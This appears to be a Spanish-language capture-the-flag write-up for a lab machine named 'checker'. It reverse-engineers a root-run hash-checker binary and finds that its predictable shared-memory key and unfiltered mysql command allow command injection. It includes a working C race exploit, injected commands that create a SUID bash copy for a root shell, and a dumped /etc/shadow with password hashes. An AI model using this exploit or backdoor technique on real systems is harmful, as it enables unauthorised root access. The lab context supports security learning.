$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a
$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK
reader@checker:~$ 

Tras la ejecucion del archivo observamos diferentes resultados, admin, es un usuario seguro, a diferencia de bob que muestra que su contrasena ha sido filtrada.

1
2
3
4
5
6
7
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh admin
User is safe.
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x38A75 as temp location
User will be notified via bob@checker.htb
reader@checker:~$

pspy no muestra ningun comando cuando el usuario es admin, a diferencia de bob que muestra la ejecucion de mysql con un query especificando el hash de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# admin
2025/02/26 04:22:21 CMD: UID=0     PID=40079  | sudo /opt/hash-checker/check-leak.sh admin 
2025/02/26 04:22:21 CMD: UID=0     PID=40080  | sudo /opt/hash-checker/check-leak.sh admin 
2025/02/26 04:22:21 CMD: UID=0     PID=40081  | sudo /opt/hash-checker/check-leak.sh admin 
2025/02/26 04:22:21 CMD: UID=0     PID=40082  | dirname /opt/hash-checker/check-leak.sh 
2025/02/26 04:22:21 CMD: UID=0     PID=40083  | /bin/bash /opt/hash-checker/check-leak.sh admin 
2025/02/26 04:22:21 CMD: UID=0     PID=40085  | /usr/bin/tr -dc [:alnum:] 
2025/02/26 04:22:21 CMD: UID=0     PID=40084  | /usr/bin/echo admin 
2025/02/26 04:22:21 CMD: UID=0     PID=40086  | /bin/bash /opt/hash-checker/check-leak.sh admin 
2025/02/26 04:22:21 CMD: UID=0     PID=40087  | /opt/hash-checker/check_leak admin

# bob
2025/02/26 04:22:06 CMD: UID=0     PID=40068  | sudo /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40069  | sudo /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40070  | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40071  | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40072  | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40074  | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40073  | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:06 CMD: UID=0     PID=40075  | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/26 04:22:07 CMD: UID=0     PID=40077  | mysql -u teampass_user -D teampass -s -N -e select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" 
2025/02/26 04:22:07 CMD: UID=0     PID=40076  | sh -c mysql -u teampass_user -D teampass -s -N -e 'select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy"' 
2025/02/26 04:22:07 CMD: UID=0     PID=40078  | /opt/hash-checker/check_leak bob

Analysis

Utilizamos Ghidra para obtener el codigo fuente del ejecutable y ChatGPT + DeepSeek para convertir el codigo a una forma mas entendible y ordenada.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// main

int main(int argc, char *argv[])
{
    // Retrieve database credentials from environment variables.
    char *dbHost     = getenv("DB_HOST");
    char *dbUser     = getenv("DB_USER");
    char *dbPassword = getenv("DB_PASSWORD");
    char *dbName     = getenv("DB_NAME");

    if (!dbHost || !dbUser || !dbPassword || !dbName) {
        fprintf(stderr, "Error: Missing database credentials in environment\n");
        exit(EXIT_FAILURE);
    }

    // Ensure the user provided exactly one argument (the username).
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <USER>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    char *user = argv[1];
    if (user == NULL || user[0] == '\0') {
        fprintf(stderr, "Error: <USER> is not provided.\n");
        exit(EXIT_FAILURE);
    }

    // Check that the user name is not longer than 20 characters.
    if (strlen(user) > 20) {
        fprintf(stderr, "Error: <USER> is too long. Maximum length is 20 characters.\n");
        exit(EXIT_FAILURE);
    }

    // Fetch the bcrypt hash from the database for the given user.
    void *userHash = fetch_hash_from_db(dbHost, dbUser, dbPassword, dbName, user);
    if (userHash == NULL) {
        puts("User not found in the database.");
        return 0;
    }

    // Check if the user's password hash appears in the leaked hashes file.
    if (!check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt", userHash)) {
        puts("User is safe.");
    } else {
        puts("Password is leaked!");
        fflush(stdout);

        // Write the leaked hash to shared memory.
        unsigned int shmId = write_to_shm(userHash);
        printf("Using the shared memory 0x%X as temp location\n", shmId);
        fflush(stdout);

        // Pause briefly before notifying the user.
        sleep(1);

        // Notify the user about the leaked password.
        notify_user(dbHost, dbUser, dbPassword, dbName, shmId);

        // Clear the shared memory segment after notification.
        clear_shared_memory(shmId);
    }

    free(userHash);
    return 0;
}

fetch_hash_from_db

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// fetch_hash_from_db
char *fetch_hash_from_db(params for MySQL connection, char *login) {
    // (1) Set up a local buffer with ASan instrumentation if enabled
    
    // (2) Initialize MySQL connection
    MYSQL *conn = mysql_init(0);
    if (!conn) {
        fprintf(stderr, "Error: %s\n", mysql_error(0));
        exit(1);
    }
    
    // (3) Connect to the database
    if (!mysql_real_connect(conn, param1, param2, param3, param4, 0, 0, 0)) {
        fprintf(stderr, "Error: %s\n", mysql_error(conn));
        mysql_close(conn);
        exit(1);
    }
    
    // (4) Build the query string using the login parameter
    char query[1024];
    snprintf(query, sizeof(query),
            "SELECT pw FROM teampass_users WHERE login = '%s';", login);
    
    // (5) Execute the query
    if (mysql_query(conn, query) != 0) {
        fprintf(stderr, "Error: %s\n", mysql_error(conn));
        mysql_close(conn);
        exit(1);
    }
    
    // (6) Retrieve the result set
    MYSQL_RES *result = mysql_store_result(conn);
    if (!result) {
        fprintf(stderr, "Error storing result: %s\n", mysql_error(conn));
        mysql_close(conn);
        exit(1);
    }
    
    // (7) Fetch the first row
    MYSQL_ROW row = mysql_fetch_row(result);
    char *hash = NULL;
    if (row != NULL && row[0] != NULL) {
        // Allocate memory for the hash and copy it
        size_t len = strlen(row[0]);
        hash = malloc(len + 1);
        if (!hash) {
            fwrite("Memory allocation error.\n", 1, strlen("Memory allocation error.\n"), stderr);
            mysql_free_result(result);
            mysql_close(conn);
            exit(1);
        }
        strcpy(hash, row[0]);
    }
    
    // (8) Clean up and close connection
    mysql_free_result(result);
    mysql_close(conn);
    
    // (9) Final ASan and stack guard cleanup, then return the hash
    return hash;
}

check_bcrypt_in_file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// check_bcrypt_in_file
int check_bcrypt_in_file(char *filepath, char *target) {
    // Set up a local buffer (with ASan support if enabled)
    Buffer buf = allocate_buffer();
    initialize_debug_info(buf);

    // Open the file for reading
    FILE *file = fopen(filepath, "r");
    if (file == NULL) {
        perror("Error opening file");
        return 0;
    }

    // Process the file line by line
    while (fgets(buf.line, BUFFER_SIZE, file) != NULL) {
        // Remove the trailing newline if present
        if (buf.line ends with '\n') {
            remove_trailing_newline(buf.line);
        }

        // Compare the cleaned-up line with the target string
        if (strcmp(buf.line, target) == 0) {
            fclose(file);
            cleanup_buffer(buf);
            return 1;
        }
    }

    // No match found: close file and clean up
    fclose(file);
    cleanup_buffer(buf);
    return 0;
}

notify_user

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
// notify_user

void notify_user(uint64_t unused, const char *mysqlUser, char *mysqlPassword, const char *databaseName, unsigned int shmKey)
{
    // Get shared memory segment using the provided key.
    int shmid = shmget(shmKey, 0, 0x1B6);
    if (shmid == -1) {
        printf("No shared memory segment found for the given address: 0x%X\n", shmKey);
        return;
    }

    // Attach to the shared memory segment.
    char *sharedMemory = (char *)shmat(shmid, NULL, 0);
    if (sharedMemory == (char *)-1) {
        fprintf(stderr,
                "Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.\n",
                shmid);
        return;
    }

    // Search for the leaked hash message.
    char *hashMessage = strstr(sharedMemory, "Leaked hash detected");
    if (hashMessage == NULL) {
        puts("No hash detected in shared memory.");
        shmdt(sharedMemory);
        return;
    }

    // Find the '>' character that precedes the hash.
    char *hashStart = strchr(hashMessage, '>');
    if (hashStart == NULL) {
        puts("Malformed data in the shared memory.");
        shmdt(sharedMemory);
        return;
    }

    // Trim and extract the bcrypt hash.
    char *trimmedHash = trim_bcrypt_hash(hashStart + 1);

    // Set the MySQL password environment variable.
    if (setenv("MYSQL_PWD", mysqlPassword, 1) != 0) {
        perror("setenv");
        shmdt(sharedMemory);
        return;
    }

    // Build the MySQL command string.
    int cmdLength = snprintf(NULL, 0,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'", mysqlUser, databaseName, trimmedHash);
    char *cmd = malloc(cmdLength + 1);
    if (cmd == NULL) {
        puts("Failed to allocate memory for command");
        shmdt(sharedMemory);
        unsetenv("MYSQL_PWD");
        return;
    }
    snprintf(cmd, cmdLength + 1,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'",mysqlUser, databaseName, trimmedHash);

    // Execute the MySQL command and capture its output.
    FILE *fp = popen(cmd, "r");
    if (fp == NULL) {
        puts("Failed to execute MySQL query");
        free(cmd);
        shmdt(sharedMemory);
        unsetenv("MYSQL_PWD");
        return;
    }

    char resultBuffer[256];
    if (fgets(resultBuffer, sizeof(resultBuffer), fp) == NULL) {
        puts("Failed to read result from the db");
        pclose(fp);
        free(cmd);
        shmdt(sharedMemory);
        unsetenv("MYSQL_PWD");
        return;
    }
    pclose(fp);
    free(cmd);

    // Remove any newline character from the result.
    char *newline = strchr(resultBuffer, '\n');
    if (newline) {
        *newline = '\0';
    }

    // Duplicate the result (if needed for further processing).
    char *notification = strdup(resultBuffer);
    if (notification == NULL) {
        puts("Failed to allocate memory for result string");
        shmdt(sharedMemory);
        unsetenv("MYSQL_PWD");
        return;
    }

    // If the result string is not empty, notify the user.
    if (notification[0] != '\0') {
        printf("User will be notified via %s\n", notification);
    }
    free(notification);

    // Detach from the shared memory segment.
    if (shmdt(sharedMemory) == -1) {
        perror("shmdt");
    }
    // Clean up the MySQL password environment variable.
    unsetenv("MYSQL_PWD");
}

write_to_shm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//write_to_shm

unsigned int write_to_shm(const char *leakedHash) {
    // Seed the random number generator with the current time.
    time_t currentTime = time(NULL);
    srand((unsigned int)currentTime);
    int randValue = rand();

    // Compute a shared memory key based on a random value modulo 0xfffff.
    int shmKey = randValue % 0xfffff;
    int shmid = shmget(shmKey, 0x400, 0x3B6);

    // Attach to the shared memory segment.
    char *shmAddr = shmat(shmid, NULL, 0);

    // Get the current time as a string.
    time_t now = time(NULL);
    char *timeStr = ctime(&now);

    // Remove the newline character from the end of the time string.
    size_t len = strlen(timeStr);
    if (len > 0 && timeStr[len - 1] == '\n') {
        timeStr[len - 1] = '\0';
    }

    // Write the leaked hash message to the shared memory segment.
    snprintf(shmAddr, 0x400, "Leaked hash detected at %s > %s\n", timeStr, leakedHash);

    // Detach from the shared memory.
    shmdt(shmAddr);

    // Return the shared memory key.
    return shmKey;
}

trim_bcrypt_hash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// trim_bcrypt_hash

/**
* Trims leading spaces and '>' characters, and trailing spaces/newlines from a bcrypt hash string.
* Modifies the input string in-place and returns a pointer to the trimmed result.
*/
char* trim_bcrypt_hash(char *input) {
    char *start_ptr = input;
    char *end_ptr;

    // Trim leading spaces and '>' characters
    while (*start_ptr == ' ' || *start_ptr == '>') {
        start_ptr++;
    }

    // Calculate length of the remaining string after trimming the start
    size_t length = strlen(start_ptr);
    end_ptr = start_ptr + length - 1; // Point to the last character

    // Trim trailing spaces and newlines by replacing them with '\0'
    while (end_ptr >= start_ptr) {
        if (*end_ptr != ' ' && *end_ptr != '\n') {
            break; // Stop trimming when a non-whitespace character is found
        }
        *end_ptr = '\0'; // Replace trailing whitespace with null terminator
        end_ptr--;
    }

    return start_ptr;
}

El codigo muestra que obtiene el hash del usuario de la base de datos, verifica que este ultimo exista en leaked_hashes.txt de no exisitir termina el programa.

1
2
3
4
5
// Fetch the bcrypt hash from the database for the given user.
void *userHash = fetch_hash_from_db(dbHost, dbUser, dbPassword, dbName, user);
// ...
if (!check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt", userHash)) {
    puts("User is safe.");

En caso contrario muestra un mensaje indicando que la contrasena ha sido filtrada, el hash se pasa como parametro a la funcion write_to_shm,

1
2
3
4
5
6
7
8
} else {
    puts("Password is leaked!");
    fflush(stdout);

    // Write the leaked hash to shared memory.
    // $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
    unsigned int shmId = write_to_shm(userHash);
    // ....

En esta funcion, se utiliza el tiempo como ‘seed’ para generar un valor aleatorio con rand(), el valor aleatorio modulo 0xFFFFF crea una key, esta ultima se usa para crear un segmento de memoria compartida con shmget especificando el espacio (1024 bytes), con permisos para que cualquiera pueda leer o escribir, se adjunta a este para escribir el mensaje "Leaked hash detected at '<time>' > '<hash>'" y finalmente retorna la key.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
///  write_to_shm()

// Seed the random number generator with the current time.
time_t currentTime = time(NULL);
srand((unsigned int)currentTime);
int randValue = rand();

// Compute a shared memory key based on a random value modulo 0xfffff.
int shmKey = randValue % 0xfffff;
int shmid = shmget(shmKey, 0x400, 0x3B6);

// Attach to the shared memory segment.
char *shmAddr = shmat(shmid, NULL, 0);

// Write the leaked hash message to the shared memory segment.
snprintf(shmAddr, 0x400, "Leaked hash detected at %s > %s\n", timeStr, leakedHash);

// ...
// Return the shared memory key.
return shmKey;

Al regresar a la funcion principal muestra en pantalla la key y se la pasa a notify_user como argumento.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
printf("Using the shared memory 0x%X as temp location\n", shmId);
fflush(stdout);

// Pause briefly before notifying the user.
sleep(1);

// Notify the user about the leaked password.
notify_user(dbHost, dbUser, dbPassword, dbName, shmId);
/*
// ...

La key es utilizada para obtener el segmento de memoria, el cual seria el mismo donde anteriormente se escribio un mensaje, verifica que exista Leaked hash detected y obtiene todo despues de “>” donde la funcion trim_bcrypt_hash elimina espacios y saltos de linea, con esto se tendria unicamente “el valor del hash”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// notify_user

// Get shared memory segment using the provided key.
int shmid = shmget(shmKey, 0, 0x1B6);

// Attach to the shared memory segment.
char *sharedMemory = (char *)shmat(shmid, NULL, 0);

// Search for the leaked hash message.
char *hashMessage = strstr(sharedMemory, "Leaked hash detected");

// Find the '>' character that precedes the hash.
char *hashStart = strchr(hashMessage, '>');

// Trim and extract the bcrypt hash.
char *trimmedHash = trim_bcrypt_hash(hashStart + 1);

Se carga la contrasena de la variable de entorno MYSQL_PWD.

1
2
3
4
5
6
// Set the MySQL password environment variable.
if (setenv("MYSQL_PWD", mysqlPassword, 1) != 0) {
    perror("setenv");
    shmdt(sharedMemory);
    return;
}

Se comienza a construir un comando con mysql especificando: usuario, base de datos y el hash. Luego se asigna a memoria para finalmente ejecutar el comando, el cual devuelve el correo del usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Build the MySQL command string.
int cmdLength = snprintf(NULL, 0,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'", mysqlUser, databaseName, trimmedHash);
char *cmd = malloc(cmdLength + 1);
if (cmd == NULL) {
    // ...
}

snprintf(cmd, cmdLength + 1,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'",mysqlUser, databaseName, trimmedHash);

// Execute the MySQL command and capture its output.
FILE *fp = popen(cmd, "r");
if (fp == NULL) {
    // ...
}

// .. captures output ...  

// If the result string is not empty, notify the user.
if (notification[0] != '\0') {
    printf("User will be notified via %s\n", notification);
}

// back to main and exit

El comando quedaria seria de la siguiente forma, tal y como pspy mostraba en ejecucion.

1
mysql -u <USER> -D <DB> -s -N -e 'select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy"'

Resumen

Al proporcionar un usuario existente:

  • Se obtiene el hash del usuario de la base de datos, verifica si este existe en un archivo de texto especifico.
  • Se crea un valor aleatorio a partir del tiempo, con este se crea una key que sirve para crear un segmento de memoria compartida con permisos para que cualquiera puede acceder, en este ultimo se escribe un mensaje incluyendo tiempo y hash del usuario.
  • Nuevamente se accede al segmento de memoria con la key para obtener el mensaje anterior, parte del mensaje es utilizado para construir un comando con mysql.
  • El comando ejecuta un query agregando el valor anterior obtenido, muestra el correo del usuario y termina.

Shared Memory

Como pudimos observar en el codigo fuente se esta haciendo uso de memoria compartida.

La memoria compartida funciona asignando una region de memoria para compartir datos (leer o escribir) a diferentes programas o procesos de forma simultanea, facilitando la comunicacion sin necesidad de utilizar algun tipo de mecanismo.

Esto lo observamos en el programa, el hash se escribe en memoria, luego, se realiza la lectura del hash para utilizarlo en un comando.

Command Injection

El programa no utiliza encriptacion o permisos especificos de acceso a la memoria por lo que cualquier podria leer o escribir en memoria, ademas, se conoce la forma de como es generada la key que es utilizada para el crear el segmento de memoria compartida.

1
2
3
4
5
6
7
// seed
time_t currentTime = time(NULL);
srand((unsigned int)currentTime);
// rand value
int randValue = rand();
// shared memory key based on a random value modulo 0xfffff.
int shmKey = randValue % 0xfffff;

Al encontrar la misma key que la del programa en ejecucion es posible acceder a esta. Buscar y modificar el hash que es utilizado en la ejecucion del query en mysql. El comando no tiene ningun tipo de filtro, por lo que seria posible inyectar comandos al modificar el hash por '; whoami #. El comando se ejecutaria como root.

1
2
3
4
# original
mysql -u <USER> -D <DB> -s -N -e 'select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy"'
# command injection
mysql -u <USER> -D <DB> -s -N -e 'select email from teampass_users where pw = "'; whoami #"'

Exploit

Escribimos un programa en C que utiliza la misma forma que crea el segmento de memoria compartida del ejecutable, se adjunta a este y busca parte del hash en memoria. Al encontrar el contenido en memoria, escribe en memoria contenido que se le pasa como argumento.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <string.h>
#include <unistd.h>

int done = 0;

void find_and_write(const char *input) {

    srand(time(NULL));

    int randValue = rand();
    int shmKey = randValue % 0xFFFFF;
    int shmid = shmget(shmKey, 0x400, IPC_CREAT | 0666); 

    if (shmid < 0) {
        perror("shmget failed");
        exit(1);
    }

    char *shmaddr = shmat(shmid, NULL, 0);
    if (shmaddr == (char *) -1) {
        perror("shmat failed");
        exit(1);
    }

    printf("[+] Shared memory attached at address: %p\n", (void *)shmaddr);

    if (strstr(shmaddr, "$2y$10$") != NULL) {
        printf("[+] Hash found!\n");
        printf("[+] Key: %p \n", (void *)shmKey);
        printf("[+] Hash was found in %p, content: %s\n", (void *)shmaddr, shmaddr);
        printf("[+] Writing at %p ... \n", (void *)shmaddr);

        snprintf(shmaddr, SHM_SIZE, "Leaked hash detected > '; %s # ", input);

        printf("[+] Content now at %p: %s\n", (void *)shmaddr, shmaddr);
        printf("[+] Exit! \n");        
        done = 1;

    }else{
        return 0;
    }

    if (shmdt(shmaddr) == -1) {
        perror("shmdt failed");
        exit(1);
    }
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <command>\n", argv[0]);
        return 1;
    }

    printf("[+] Searching for the hash ... \n");

    while(done == 0) {
        find_and_write(argv[1]);
        sleep(1);
    }

    return 0;
}

Compilamos el programa en la maquina, lo ejecutamos pasando el comando whoami > whoami. En una segunda shell ejecutamos el script como sudo pasando el usuario bob. Observamos que encontro el hash, escribio en memoria.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# for i in $(ipcs -m -p|cut -d " " -f1); do ipcrm -m $i 2>/dev/null; done;
reader@checker:/dev/shm$ ./shared 
Usage: ./shared <command>
reader@checker:/dev/shm$ ./shared 'whoami > whoami'
[+] Searching for the hash ... 
[+] Shared memory attached at address: 0x7f36a715f000
[+] Shared memory attached at address: 0x7f36a7125000
[+] Shared memory attached at address: 0x7f36a7124000
[+] Shared memory attached at address: 0x7f36a7123000
[+] Shared memory attached at address: 0x7f36a7122000
[+] Hash found!
[+] Key: 0xb10cd 
[+] Hash was found in 0x7f36a7122000, content: Leaked hash detected at Fri Feb 28 07:50:46 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

[+] Writing at 0x7f36a7122000 ... 
[+] Content now at 0x7f36a7122000: Leaked hash detected > '; whoami > whoami # 
[+] Exit! 
reader@checker:/dev/shm$

La ejecucion del script muestra un error de sintaxis.

1
2
3
4
5
6
reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0xB10CD as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db
reader@checker:/dev/shm$

El comando se ejecuto y vemos el contenido de whoami en el archivo.

1
2
3
4
5
reader@checker:/dev/shm$ ls
shared  shared.c  whoami
reader@checker:/dev/shm$ cat whoami 
root
reader@checker:/dev/shm$

Shell

Realizamos una copia de bash y le dimos permisos SUID.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
reader@checker:/dev/shm$ ./shared 'cp /bin/bash /bin/sc && chmod u+s /bin/sc'
[+] Searching for the hash ... 
[+] Shared memory attached at address: 0x7fa6c7221000
[+] Shared memory attached at address: 0x7fa6c71e7000
[+] Hash found!
[+] Key: 0x3800f 
[+] Hash was found in 0x7fa6c71e7000, content: Leaked hash detected at Fri Feb 28 07:55:34 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

[+] Writing at 0x7fa6c71e7000 ... 
[+] Content now at 0x7fa6c71e7000: Leaked hash detected > '; cp /bin/bash /bin/sc && chmod u+s /bin/sc # 
[+] Exit! 
reader@checker:/dev/shm$

Ejecutamos /bin/sc -p logrando obtener una shell como root y realizar la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
reader@checker:/dev/shm$ ls -lah /bin/sc
-rwsr-xr-x 1 root root 1.4M Feb 28 07:55 /bin/sc
reader@checker:/dev/shm$ /bin/sc -p
sc-5.1# whoami
root
sc-5.1# cd /root
sc-5.1# ls
root.txt
sc-5.1# cat root.txt
71d89119155e5ce726276ecd6295c544
sc-5.1#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root:$6$rounds=656000$./5JaqCAZCb4sHeC$.1a4QsJHZZyRFaUVyqvqJ57FT..6h7MNsNQG260GLNRTbbfSNtkW/ST1QVmp.UUXwmKbk8McbC9MzRjbHEI6/0:19886:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19886:0:99999:7:::
reader:$y$j9T$vEOe6knx0sZ0q6zCWToqJ/$wILdbQhLxYYDbil7kgX5KLD5tIIXrxul5sX3OJmE/t4:19888:0:99999:7:::
mysql:!:19886:0:99999:7:::
_laurel:!:20125::::::
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe